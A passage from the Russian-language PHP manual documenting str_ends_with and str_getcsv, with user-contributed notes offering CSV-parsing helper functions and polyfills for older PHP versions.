Пример #2 Пример использования str_decrement() с переносом (уменьшением высшего разряда или разрядности)

<?php
$str = 'ZA';
var_dump(str_decrement($str));

$str = 'AA';
var_dump(str_decrement($str));
?>

Результат выполнения приведённого примера:

string(2) "YZ"
string(1) "Z"

Смотрите также

  • str_increment() - Увеличивает на единицу буквенно-цифровую строку

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, заканчивается ли строка заданной подстрокой

  • « str_decrement
  • str_getcsv »
  • PHP Manual
  • Функции для работы со строками
  • Проверяет, заканчивается ли строка заданной подстрокой

str_ends_with

(PHP 8)

str_ends_with — Проверяет, заканчивается ли строка заданной подстрокой

Описание

str_ends_with(string $haystack, string $needle): bool

Выполняет проверку с учётом регистра, указывающую, заканчивается ли haystack подстрокой needle.

Список параметров

haystack

Строка для поиска.

needle

Подстрока для поиска в haystack.

Возвращаемые значения

Возвращает true, если haystack заканчивается подстрокой needle, false в противном случае.

Примеры

Пример #1 Использование пустой строки ''

<?php
if (str_ends_with('абв', '')) {
echo "Все строки заканчиваются пустой строкой";
}
?>

Результат выполнения приведённого примера:

Все строки заканчиваются пустой строкой

Пример #2 Демонстрация чувствительности к регистру

<?php
$string = 'ленивая лиса перепрыгнула через забор';

if (str_ends_with($string, 'забор')) {
echo "Строка заканчивается на 'забор'\n";
}

if (str_ends_with($string, 'Забор')) {
echo 'Строка заканчивается на "Забор"';
} else {
echo '"Забор" не найден, потому что регистр не соответствует';
}

?>

Результат выполнения приведённого примера:

Строка заканчивается на 'забор'
"Забор" не найден, потому что регистр не соответствует

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • str_contains() - Определяет, содержит ли строка заданную подстроку
  • str_starts_with() - Проверяет, начинается ли строка с заданной подстроки
  • stripos() - Возвращает позицию первого вхождения подстроки без учёта регистра
  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • strripos() - Возвращает позицию последнего вхождения подстроки без учёта регистра
  • strstr() - Находит первое вхождение подстроки
  • strpbrk() - Ищет в строке любой символ из заданного набора
  • substr() - Возвращает подстроку
  • preg_match() - Выполняет проверку на соответствие регулярному выражению

User Contributed Notes

Reinder 13-Jun-2023 10:30
In PHP7 you may want to use:

if (!function_exists('str_ends_with')) {
  function str_ends_with($str, $end) {
    return (@substr_compare($str, $end, -strlen($end))==0);
  }
}

AFAIK that is binary safe and doesn't need additional checks.
javalc6 at gmail dot com 12-Jun-2023 10:44
In case you are using an older version of PHP, you can define and use the following function:

function endsWith($haystack, $needle) {
    $length = strlen($needle);
    return $length > 0 ? substr($haystack, -$length) === $needle : true;
}
divinity76 at gmail dot com 01-Nov-2021 03:49
this is the fastest php7-implementation i can think of, it should be faster than javalc6 and Reinder's implementations, as this one doesn't create new strings (but theirs does)

<?php
if (! function_exists('str_ends_with')) {
    function str_ends_with(string $haystack, string $needle): bool
    {
        $needle_len = strlen($needle);
        return ($needle_len === 0 || 0 === substr_compare($haystack, $needle, - $needle_len));
    }
}
?>


Разбирает CSV-строку в массив

  • « str_ends_with
  • str_increment »
  • PHP Manual
  • Функции для работы со строками
  • Разбирает CSV-строку в массив

str_getcsv

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

str_getcsv — Разбирает CSV-строку в массив

Описание

str_getcsv(
string $string,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): array

Функция разбирает входную строку по полям в формате CSV и возвращает массив c прочитанными полями.

Замечание:

Функция учитывает настройки локали. Если для константы LC_CTYPE установили значение, например, en_US.UTF-8, функция может неправильно прочитать строки в однобайтовой кодировке.

Список параметров

string

Строка для разбора.

separator

Устанавливает разделитель поля; только один однобайтовый символ.

enclosure

Устанавливает символ ограничителя поля; только один однобайтовый символ.

escape

Устанавливает экранирующий символ; не больше одного однобайтового символа. Символ экранирования по умолчанию — обратный слеш (\). Пустая строка ("") отключает внутренний механизм экранирования.

Замечание: Часто символ ограничителя enclosure экранируют внутри поля удвоением; символом экранирования escape пользуются как альтернативой. Поэтому у значений по умолчанию для этих параметров — "" и \" — одинаковое значение. Кроме разрешения экранировать символ ограничителя enclosure символ экранирования escape не несёт отдельного смысла; он даже не экранирует сам себя.

Возвращаемые значения

Функция возвращает индексный массив, который содержит прочитанные поля.

Список изменений

Версия | Описание
7.4.0 | Теперь пустой параметр escape функция интерпретирует как требование отключить внутренний механизм экранирования. Раньше пустую строку функция рассматривала как значение по умолчанию для параметра.

Примеры

Пример #1 Пример использования функции str_getcsv()

<?php

$string = 'PHP,Java,Python,Kotlin,Swift';
$data = str_getcsv($string);

var_dump($data);

?>

Результат выполнения приведённого примера:

array(5) {
  [0]=>
  string(3) "PHP"
  [1]=>
  string(4) "Java"
  [2]=>
  string(6) "Python"
  [3]=>
  string(6) "Kotlin"
  [4]=>
  string(5) "Swift"
}

Пример #2 Пример использования функции str_getcsv() с пустой строкой

Предостережение

Для пустой строки функция вместо пустого массива возвращает значение [null].

<?php

$string = '';
$data = str_getcsv($string);

var_dump($data);

?>

Результат выполнения приведённого примера:

array(1) {
  [0]=>
  NULL
}

Смотрите также

  • fgetcsv() - Читает строку из файла и производит разбор данных CSV

User Contributed Notes

php at richardneill dot org 09-Jan-2024 11:33
For maximum compatibility with standard (RFC-4180) CSV files, remember that the proprietary-escape mechanism should be disabled. i.e. set the optional 5th parameter to ""  (the empty string).
hans at loltek dot net 18-Oct-2023 10:17
old MacOS (up to ~2001) and old Office For MacOS (up to 2007? I think) use carriage-return for newlines,
Microsoft Windows use carriage-return+line-feed for newlines,
Unix (Linux and modern MacOS) use line-feeds,
Some systems use BOM/byte-order-masks just to say they use UTF-8, i've even encountered one-BOM-per-CSV-row!

For a csv-file parser handling all the above cases, I wrote:

<?php
function parse_csv(string $csv, string $separator = ","): array
{
    $csv = strtr(
        $csv,
        [
            "\xEF\xBB\xBF" => "", // remove UTF-8 byte order masks, if present
            "\r\n" => "\n", // Windows CrLf=> Unix Lf
            "\r" => "\n" // old-MacOS Cr => Unix Lf
            // (both modern MacOS and Linux use Lf .. Windows is the only outlier)
        ]
    );
    $lines = explode("\n", $csv);
    $keys = str_getcsv(array_shift($lines), $separator);
    $ret = array();
    foreach ($lines as $lineno => $line) {
        if (strlen($line) < 1) {
            // ... probably malformed csv, but we'll allow it
            continue;
        }
        $parsed = str_getcsv($line, $separator);
        if (count($parsed) !== count($keys)) {
            throw new \RuntimeException("error on csv line #{$lineno}: count mismatch:" . count($parsed) . ' !== ' . count($keys) . ": " . var_export([
                'error' => 'count mismatch',
                'keys' => $keys,
                'parsed' => $parsed,
                'line' => $line
            ], true));
        }
        $ret[] = array_combine($keys, $parsed);
    }
    return $ret;
}
?>
manngo 15-Oct-2023 06:24
I can't see this mentioned in the description, but it appears that the fields will be trimmed slightly of trailing line breaks.

In the following example:

<?php
    $string = "\nPHP\r\n,Java\nScript\r\n\r\n,Fortran\n,Cobol\n\n,\nSwift\r\n\r\n\r\n";
    $data = str_getcsv($string);
    foreach($data as $d) print "[$d]";

/*  Result:
    ================================================
    [
    PHP][Java
    Script
    ][Fortran][Cobol
    ][
    Swift
    ]
    ================================================ */
?>

You'll see:

-    a leading line break is retained; a line break in the rest of the field is also retained
-    one trailing line break is removed; any more are retained
-    a line break at the end of the string is also removed; this means that two trailing line breaks at the end are removed
-    a line break can be a unix/macos line break (\n) or a windows line beak (\r\n)

Tested on my Macintosh, so I'm not sure how universal this is.

Among other things, it means you can read the file with the file() function without having to include the FILE_IGNORE_NEW_LINES flag.
Wade Rossmann 26-Oct-2022 09:34
For completeness, here is a userspace str_putcsv() that is fully compatible with fgetcsv() and fputcsv()'s arguments. Namely $escape and $eol, which all others seem to be omitting.

<?php

function str_putcsv(
    array $fields,
    string $separator = ",",
    string $enclosure = "\"",
    string $escape = "\\",
    string $eol = "\n"
) {
    return implode($separator,
        array_map(
            function($a)use($enclosure, $escape) {
                $type = gettype($a);
                switch($type) {
                    case 'integer': return sprintf('%d', $a);
                    case 'double':  return rtrim(sprintf('%0.'.ini_get('precision').'f', $a), '0');
                    case 'boolean': return ( $a ? 'true' : 'false' );
                    case 'NULL':    return '';
                    case 'string':
                        return sprintf('"%s"', str_replace(
                            [$escape, $enclosure],
                            [$escape.$escape, $escape.$enclosure],
                            $a
                        ));
                    default: throw new TypeError("Cannot stringify type: $type");
                }
            },
            $fields
        )
    ) . $eol;
}
ivijan dot stefan at gmail dot com 18-Mar-2021 10:43
Imagine a situation where you need a function that works with both URL and comma delimited text.

This is exactly the function that works like that using str_getcsv(). Just simply insert a CSV URL or comma separated text and it work nicely.

<?php
function parse_csv( $filename_or_text, $delimiter=',', $enclosure='"', $linebreak="\n" )
{
    $return = array();

    if(false !== ($csv = (filter_var($filename_or_text, FILTER_VALIDATE_URL) ? file_get_contents($filename_or_text) : $filename_or_text)))
    {
        $csv = trim($csv);
        $csv = mb_convert_encoding($csv, 'UTF-16LE');

        foreach(str_getcsv($csv, $linebreak, $enclosure) as $row){
            $col = str_getcsv($row, $delimiter, $enclosure);
            $col = array_map('trim', $col);
            $return[] = $col;
        }
    }
    else
    {
        throw new \Exception('Can not open the file.');
        $return = false;
    }

    return $return;
}
?>
txxllm at hotmail dot com 25-Jan-2021 06:05
Sometimes the enclosure parameter of the str_getcsv function doesn't work, so I wrote a function that is equivalent to the function

<?php
/**
     * @param string $input
     * @param string $delimiter
     * @param string $enclosure
     * @param string $escape
     * @return array
     * @author TXX
     * @date   2021/1/25 15:03
     */
    function my_str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\') {
        $output = array();

        if (empty($input) || !is_string($input)) {
            return $output;
        }

        if (preg_match("/". $escape . $enclosure ."/", $input)) {
            while ($strlen = strlen($input)) {
                $pos_delimiter       = strpos($input, $delimiter);    //???????
                $pos_enclosure_start = strpos($input, $enclosure);    //???-??????

                //??????????????
                if (is_int($pos_delimiter) && is_int($pos_enclosure_start) && $pos_enclosure_start < $pos_delimiter) {
                    $pos_enclosure_start += 1;
                    $enclosed_str = substr($input, $pos_enclosure_start);    //?????-??
                    $pos_enclosure_end = strpos($enclosed_str, $enclosure);    //???-???????-???????
                    $pos_enclosure_end += $pos_enclosure_start;    //???-????????????

                    if ($pos_enclosure_end <  $pos_delimiter) {
                        //???-????????,??????
                        $output[] = substr($input, 0, $pos_delimiter);
                        $offset = $pos_delimiter + 1;
                    } else {
                        //???-????????,????
                        $pos_enclosure_end += 1;
                        $before_enclosed_str = substr($input, 0, $pos_enclosure_end);
                        $enclosed_str = substr($input, $pos_enclosure_end);    //???????????

                        $enclosed_arr = my_str_getcsv($enclosed_str, $delimiter, $enclosure);    //?????????????
                        $enclosed_arr[0] = $before_enclosed_str . $enclosed_arr[0];

                        $output = array_merge($output, $enclosed_arr);
                        $offset = strlen($input);    //??????
                    }
                } else {
                    //???
                    if (!is_int($pos_delimiter)) {
                        //????,????????????
                        $output[] = $input;
                        //??????
                        $offset = strlen($input);
                    } else if ($input == $delimiter) {
                        //???????????,???'',''
                        $output = array_merge($output, ['','']);
                        $offset = $pos_delimiter+1;    //??????????
                    } else {
                        $output[] = substr($input, 0, $pos_delimiter);    //?????????
                        $offset = $pos_delimiter+1;    //??????????
                    }
                }
                //???????????
                $input = substr($input,$offset);
            }
        } else {
            //??????????,?????????
            $input = preg_split("/". $escape . $delimiter ."/", $input);

            if (is_array($input)) {
                $output = $input;
            }
        }

        return $output;
    }

?>
Anonymous 09-Apr-2020 06:58
Note that the function does NOT remove the escaping characters. If you do

<?php
str_getcsv('"abc\"abc"')
?>

you'll get an array with a string(8) "abc\"abc", the \ will stay.
r dot borjovsky at gmail dot com 26-Sep-2019 11:15
Improving James' line, now allowing to set the delimiter.

$csv = array_map(function($v){return str_getcsv($v, ';');}, file('data.csv'));
sunilp dot coderevolts at gmail dot com 14-Aug-2018 08:09
Hello,

I want to set formula in csv file using php code . When I download csv file formula should be inserted (data from databse) and when we put column values then values should be calculated as per the formula.

Anyone help me.

Thanks.
Anonymous 21-Jul-2017 05:46
public function csv_to_array($filename = '', $delimiter = ',', $boolean_include_title_row = false, $field_names = array()){

        try {

            if (!file_exists($filename) || !is_readable($filename)) {
                return false;
            }

            if (is_array($field_names) && !empty($field_names)) {
                $header = $field_names;
            } elseif (is_string($field_names) && (strlen($field_names) > 0)) {
                $header = explode(",", $field_names);
            } else {
                $header = null;
            }

            $csv = array_map('str_getcsv', file($filename));

            $data = array();

            foreach ($csv as $key => $row) {
                $data[] = array_combine($header, $row);
            }

            if (!$boolean_include_title_row) {
                unset($data[0]);
                $data = array_values($data);
            }

            return $data;

        } catch (Exception $e) {
            return false;
        }

    }
Xkang 21-Dec-2016 01:25
how to solve the UTF-8 BOM's problem
????UTF-8???CSV????BOM??
$bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ); //define bom
$f = file_get_contents('a.csv'); //open the CSV file
#$csv = str_getcsv($f); //it will have bom  ?????bom???
$csv = str_getcsv(str_replace($bom,'',$f)); //replace the bom ???bom
var_dump($csv);  //dump ??
starrychloe at oliveyou dot net 23-Jul-2015 06:12
Based on James' line, this will create an array of associative arrays with the first row column headers as the keys.

<?php
    $csv = array_map('str_getcsv', file($file));
    array_walk($csv, function(&$a) use ($csv) {
      $a = array_combine($csv[0], $a);
    });
    array_shift($csv); # remove column header
?>

This will yield something like
    [2] => Array
        (
            [Campaign ID] => 295095038
            [Ad group ID] => 22460178158
            [Keyword ID] => 3993587178
peter dot mlich at volny dot cz 02-Jul-2015 10:21
> 49 durik at 3ilab dot net /  4 years ago
$rows = str_getcsv($csv_data, "\n");
- bug, data in csv can have "\n"
'aaa','bb
b','ccc'
pasmanik at gmail dot com 28-May-2015 08:08
I prepared some better function for parsing CSV string.

function csv_to_array($string='', $row_delimiter=PHP_EOL, $delimiter = "," , $enclosure = '"' , $escape = "\\" )
{
    $rows = array_filter(explode($row_delimiter, $string));
    $header = NULL;
    $data = array();

    foreach($rows as $row)
    {
        $row = str_getcsv ($row, $delimiter, $enclosure , $escape);

        if(!$header)
            $header = $row;
        else
            $data[] = array_combine($header, $row);
    }

    return $data;
}
csver at phper dot com 06-May-2015 10:02
Quick and proper way:

    $temp = fopen('php://temp', 'r+');
    fputs($csvString, $temp);
    rewind($temp);

    $csvArray = array();

    while( $csvRow = fgetcsv($temp) )
        $csvArray[] = $csvRow;
    fclose($temp);
sven at e7o dot de 24-Feb-2015 02:53
PHP is failing when parsing UTF-8 with Byte Order Mark. Strip it with this one from string before passing it to csv parser:

<?php
        $bom = pack('CCC', 0xEF, 0xBB, 0xBF);
        if (strncmp($yourString, $bom, 3) === 0) {
            $body = substr($yourString, 3);
        }
?>
okonomiyaki3000 at gmail dot com 12-Feb-2015 10:58
`durik at 3ilab dot net` brings up a good point but the solution provided may fail in certain (very rare) edge cases. I believe a more perfect solution is as follows:

<?php
// Use an I/O stream instead of an actual file.
$handle = fopen('php://temp/myCSV', 'w+b');

// Write all the data to it
fwrite($handle, $CSVString);

// Rewind for reading
rewind($handle);

// use fgetcsv which tends to work better than str_getcsv in some cases
$rows = array();
while ($row = fgetcsv($handle)) $rows[] = $row;
?>

A variation on this technique can also be used to implement an 'str_putcsv' which PHP lacks.
dejiakala at gmail dot com 21-Sep-2014 06:06
I wanted the best of the 2 solutions by james at moss dot io and Jay Williams (csv_to_array()) - create associative array from a CSV file with a header row.

<?php

$array = array_map('str_getcsv', file('data.csv'));

$header = array_shift($array);

array_walk($array, '_combine_array', $header);

function _combine_array(&$row, $key, $header) {
  $row = array_combine($header, $row);
}

?>

Then I thought why not try some benchmarking? I grabbed a sample CSV file with 50,000 rows (10 columns each) and Vulcan Logic Disassembler (VLD) which hooks into the Zend Engine and dumps all the opcodes (execution units) of a script - see http://pecl.php.net/package/vld and example here: http://fabien.potencier.org/article/8/print-vs-echo-which-one-is-faster

Result:

array_walk() and array_map() - 39 opcodes
csv_to_array() - 69 opcodes
enmanuelcorvo at gmail dot com 02-Sep-2014 08:49
I always use this:

function convert_to_csv($input_array, $output_file_name, $delimiter)
{
    /** open raw memory as file, no need for temp files */
    $temp_memory = fopen('php://memory', 'w');
    /** loop through array */
    foreach ($input_array as $line) {
        /** default php csv handler **/
        fputcsv($temp_memory, $line, $delimiter);
    }
    /** rewrind the "file" with the csv lines **/
    fseek($temp_memory, 0);
    /** modify header to be downloadable csv file **/
    header('Content-Type: application/csv');
    header('Content-Disposition: attachement; filename="' . $output_file_name . '";');
    /** Send file to browser for download */
    fpassthru($temp_memory);
}

/** Array to convert to csv */
$array_to_csv = Array(Array(12566, 'Enmanuel', 'Corvo'), Array(56544, 'John', 'Doe'), Array(78550, 'Mark', 'Smith'));
convert_to_csv($array_to_csv, 'report.csv', ',');

you can read the full post here:

<a href="http://webtricksandtreats.com/export-to-csv-php/">PHP to CSV  Download </a>
james at moss dot io 03-Apr-2014 10:24
[Editor's Note (cmb): that does not produce the desired results, if fields contain linebreaks.]

Handy one liner to parse a CSV file into an array

<?php

$csv = array_map('str_getcsv', file('data.csv'));

?>
peter at icb dot at 21-Mar-2014 05:11
Optimized JayWilliams function a little bit:

<?php
function csv_to_array($filename, $delimiter=',', $enclosure='"', $escape = '\\')
{
  if(!file_exists($filename) || !is_readable($filename)) return false;

  $header = null;
  $data = array();
  $lines = file($filename);

  foreach($lines as $line) {
    $values = str_getcsv($line, $delimiter, $enclosure, $escape);
    if(!$header) $header = $values;
    else $data[] = array_combine($header, $values);
  }

  return $data;
}
?>
lewis 11-Feb-2014 01:51
str_getcsv can be really fussy about trailing spaces - it will not necessarily recognise a final element in a quote delimited set of strings with a space following the final string for example. Using trim() before str_getcsv() quickly fixes this.
Ryan Rubley 13-Sep-2013 08:00
@normadize - that is a nice start, but it fails on situations where a field is empty but quoted (returning a string with one double quote instead of an empty string) and cases like """""foo""""" that should result in ""foo"" but instead return "foo". I also get a row with 1 empty field at the end because of the final CRLF in the CSV. Plus, I don't really like the !!Q!! magic or urlencoding to get around things. Also, \R doesn't work in pcre on any of my php installations.

Here is my take on this, without anonymous functions (so it works on PHP < 5.3), and without your options (because I believe the only correct way to parse according to the RFC would be $skip_empty_lines = false and $trim_fields = false).

//parse a CSV file into a two-dimensional array
//this seems as simple as splitting a string by lines and commas, but this only works if tricks are performed
//to ensure that you do NOT split on lines and commas that are inside of double quotes.
function parse_csv($str)
{
    //match all the non-quoted text and one series of quoted text (or the end of the string)
    //each group of matches will be parsed with the callback, with $matches[1] containing all the non-quoted text,
    //and $matches[3] containing everything inside the quotes
    $str = preg_replace_callback('/([^"]*)("((""|[^"])*)"|$)/s', 'parse_csv_quotes', $str);

    //remove the very last newline to prevent a 0-field array for the last line
    $str = preg_replace('/\n$/', '', $str);

    //split on LF and parse each line with a callback
    return array_map('parse_csv_line', explode("\n", $str));
}

//replace all the csv-special characters inside double quotes with markers using an escape sequence
function parse_csv_quotes($matches)
{
    //anything inside the quotes that might be used to split the string into lines and fields later,
    //needs to be quoted. The only character we can guarantee as safe to use, because it will never appear in the unquoted text, is a CR
    //So we're going to use CR as a marker to make escape sequences for CR, LF, Quotes, and Commas.
    $str = str_replace("\r", "\rR", $matches[3]);
    $str = str_replace("\n", "\rN", $str);
    $str = str_replace('""', "\rQ", $str);
    $str = str_replace(',', "\rC", $str);

    //The unquoted text is where commas and newlines are allowed, and where the splits will happen
    //We're going to remove all CRs from the unquoted text, by normalizing all line endings to just LF
    //This ensures us that the only place CR is used, is as the escape sequences for quoted text
    return preg_replace('/\r\n?/', "\n", $matches[1]) . $str;
}

//split on comma and parse each field with a callback
function parse_csv_line($line)
{
    return array_map('parse_csv_field', explode(',', $line));
}

//restore any csv-special characters that are part of the data
function parse_csv_field($field) {
    $field = str_replace("\rC", ',', $field);
    $field = str_replace("\rQ", '"', $field);
    $field = str_replace("\rN", "\n", $field);
    $field = str_replace("\rR", "\r", $field);
    return $field;
}
normadize -a- gmail -d- com 13-Mar-2013 11:19
Like some other users here noted, str_getcsv() cannot be used if you want to comply with either the RFC or with most spreadsheet tools like Excel or Google Docs.

These tools do not escape commas or new lines, but instead place double-quotes (") around the field. If there are any double-quotes in the field, these are escaped with another double-quote (" becomes ""). All this may look odd, but it is what the RFC and most tools do ...

For instance, try exporting as .csv a Google Docs spreadsheet (File > Download as > .csv) which has new lines and commas as part of the field values and see how the .csv content looks, then try to parse it using str_getcsv() ... it will spectacularly regardless of the arguments you pass to it.

Here is a function that can handle everything correctly, and more:

- doesn't use any for or while loops,
- it allows for any separator (any string of any length),
- option to skip empty lines,
- option to trim fields,
- can handle UTF8 data too (although .csv files are likely non-unicode).

Here is the more human readable version of the function:

<?php

// returns a two-dimensional array or rows and fields

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string);
    $enc = preg_replace_callback(
        '/"(.*?)"/s',
        function ($field) {
            return urlencode(utf8_encode($field[1]));
        },
        $enc
    );
    $lines = preg_split($skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s', $enc);
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            $fields = $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line);
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $fields
            );
        },
        $lines
    );
}

?>

Since this is not using any loops, you can actually write it as a one-line statement (one-liner).

Here's the function using just one line of code for the function body, formatted nicely though:

<?php

// returns the same two-dimensional array as above, but with a one-liner code

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line)
            );
        },
        preg_split(
            $skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s',
            preg_replace_callback(
                '/"(.*?)"/s',
                function ($field) {
                    return urlencode(utf8_encode($field[1]));
                },
                $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string)
            )
        )
    );
}

?>

Replace !!Q!! with another placeholder if you wish.

Have fun.
V.Krishn 06-Mar-2013 01:31
<?php
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
?>
V.Krishn 06-Mar-2013 01:20
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
khelibert at gmail dot com 04-Sep-2012 04:42
I've written this to handle :
- fields with or without enclosure;
- escape and enclosure characters using the same character (ie <<">> in Excel)

<?php
/**
             * Converts a csv file into an array of lines and columns.
             * khelibert@gmail.com
             * @param $fileContent String
             * @param string $escape String
             * @param string $enclosure String
             * @param string $delimiter String
             * @return array
             */
            function csvToArray($fileContent,$escape = '\\', $enclosure = '"', $delimiter = ';')
            {
                $lines = array();
                $fields = array();

                if($escape == $enclosure)
                {
                    $escape = '\\';
                    $fileContent = str_replace(array('\\',$enclosure.$enclosure,"\r\n","\r"),
                                array('\\\\',$escape.$enclosure,"\\n","\\n"),$fileContent);
                }
                else
                    $fileContent = str_replace(array("\r\n","\r"),array("\\n","\\n"),$fileContent);

                $nb = strlen($fileContent);
                $field = '';
                $inEnclosure = false;
                $previous = '';

                for($i = 0;$i<$nb; $i++)
                {
                    $c = $fileContent[$i];
                    if($c === $enclosure)
                    {
                        if($previous !== $escape)
                            $inEnclosure ^= true;
                        else
                            $field .= $enclosure;
                    }
                    else if($c === $escape)
                    {
                        $next = $fileContent[$i+1];
                        if($next != $enclosure && $next != $escape)
                            $field .= $escape;
                    }
                    else if($c === $delimiter)
                    {
                        if($inEnclosure)
                            $field .= $delimiter;
                        else
                        {
                            //end of the field
                            $fields[] = $field;
                            $field = '';
                        }
                    }
                    else if($c === "\n")
                    {
                        $fields[] = $field;
                        $field = '';
                        $lines[] = $fields;
                        $fields = array();
                    }
                    else
                        $field .= $c;
                    $previous = $c;
                }
                //we add the last element
                if(true || $field !== '')
                {
                    $fields[] = $field;
                    $lines[] = $fields;
                }
                return $lines;
            }
?>
xoneca at gmail dot com 27-Nov-2011 04:26
Note that this function can also be used to parse other types of constructions. For example, I have used to parse .htaccess AddDescription lines:

    AddDescription "My description to the file." filename.jpg

Those lines can be parsed like this:

<?php

$line = 'AddDescription "My description to the file." filename.jpg';

$parsed = str_getcsv(
    $line, # Input line
    ' ',   # Delimiter
    '"',   # Enclosure
    '\\'   # Escape char
);

var_dump( $parsed );

?>

The output:

array(3) {
  [0]=>
  string(14) "AddDescription"
  [1]=>
  string(27) "My description to the file."
  [2]=>
  string(12) "filename.jpg"
}
durik at 3ilab dot net 16-Jan-2011 11:39
As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in CSV string, I have found following easy workaround:

<?php
$Data = str_getcsv($CsvString, "\n"); //parse the rows
foreach($Data as &$Row) $Row = str_getcsv($Row, ";"); //parse the items in rows
?>

Why not use explode() instead of str_getcsv() to parse rows? Because explode() would not treat possible enclosured parts of string or escaped characters correctly.
Jay Williams 10-Aug-2010 01:50
Here is a quick and easy way to convert a CSV file to an associated array:

<?php
/**
 * @link http://gist.github.com/385876
 */
function csv_to_array($filename='', $delimiter=',')
{
    if(!file_exists($filename) || !is_readable($filename))
        return FALSE;

    $header = NULL;
    $data = array();
    if (($handle = fopen($filename, 'r')) !== FALSE)
    {
        while (($row = fgetcsv($handle, 1000, $delimiter)) !== FALSE)
        {
            if(!$header)
                $header = $row;
            else
                $data[] = array_combine($header, $row);
        }
        fclose($handle);
    }
    return $data;
}

?>
hpartidas at deuz dot net 25-May-2010 09:50
I found myself wanting to parse a CSV and didn't have access to str_getcsv, so I wrote substitute for PHP < 5.3, hope it helps someone out there stuck in the same situation.

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\', $eol = '\n') {
        if (is_string($input) && !empty($input)) {
            $output = array();
            $tmp    = preg_split("/".$eol."/",$input);
            if (is_array($tmp) && !empty($tmp)) {
                while (list($line_num, $line) = each($tmp)) {
                    if (preg_match("/".$escape.$enclosure."/",$line)) {
                        while ($strlen = strlen($line)) {
                            $pos_delimiter       = strpos($line,$delimiter);
                            $pos_enclosure_start = strpos($line,$enclosure);
                            if (
                                is_int($pos_delimiter) && is_int($pos_enclosure_start)
                                && ($pos_enclosure_start < $pos_delimiter)
                                ) {
                                $enclosed_str = substr($line,1);
                                $pos_enclosure_end = strpos($enclosed_str,$enclosure);
                                $enclosed_str = substr($enclosed_str,0,$pos_enclosure_end);
                                $output[$line_num][] = $enclosed_str;
                                $offset = $pos_enclosure_end+3;
                            } else {
                                if (empty($pos_delimiter) && empty($pos_enclosure_start)) {
                                    $output[$line_num][] = substr($line,0);
                                    $offset = strlen($line);
                                } else {
                                    $output[$line_num][] = substr($line,0,$pos_delimiter);
                                    $offset = (
                                                !empty($pos_enclosure_start)
                                                && ($pos_enclosure_start < $pos_delimiter)
                                                )
                                                ?$pos_enclosure_start
                                                :$pos_delimiter+1;
                                }
                            }
                            $line = substr($line,$offset);
                        }
                    } else {
                        $line = preg_split("/".$delimiter."/",$line);

                        /*
